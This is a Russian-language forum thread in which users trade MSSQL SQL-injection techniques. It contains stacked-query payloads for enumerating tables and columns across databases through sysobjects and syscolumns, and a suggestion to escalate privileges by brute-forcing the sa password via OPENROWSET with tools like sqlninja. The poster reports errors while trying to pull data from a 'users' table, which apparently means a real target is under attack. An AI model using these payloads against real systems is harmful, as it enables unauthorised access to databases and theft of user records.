Сообщение от
[Raz0r]
Добиться повышения привилегий с использованием брута пароля sa через OPENROWSET (в MSSQL 2005 отключено по умолчанию). В этом поможет инструмент sqlninja.
Pangolin, PRIAMOS, SFX-SQLi
возможно ты использовал неправильный синтаксис при указании базы данных, должно быть:
SELECT * FROM [db]..[table]
Можно получить названия таблиц из других баз данных, используя оператор USE для их выбора (если конечно прав хватит):
;USE db; SELECT name FROM sysobjects WHERE xtype = 'U';
;USE db; SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'users')
Огромное спасибо!
Все прокатило, только использовал без use а через:
database..sysobjects
database..syscolumns
Сейчас стала проблема в том, что не перебираются колонки.
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'users')
Я дописал
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'users') AND name IN NOT ('userid')
В ответ получаю:
Incorrect syntax near the keyword 'NOT'
userid - первая колонка в таблице users
Так-же не получилось вывести данные даже с этого поля userid
Запрос имел вид:
SELECT TOP 1 userid from [database]..[users]
Ответ
Operand type clash: uniqueidentifier is incompatible with tinyint
Если убрать кавычки то ответ меняется на:
Incorrect syntax near 'users'
Попробовал загнать "users" в char - не получилось.
просто для меня это загадка, которую ну никак не получается отгадать....Единственное что все-таки приходит в голову, это - не хватает прав. Хотя, если хватило на чтение database..sysobjects и database..syscolumns, то должно хватить прав и database.users...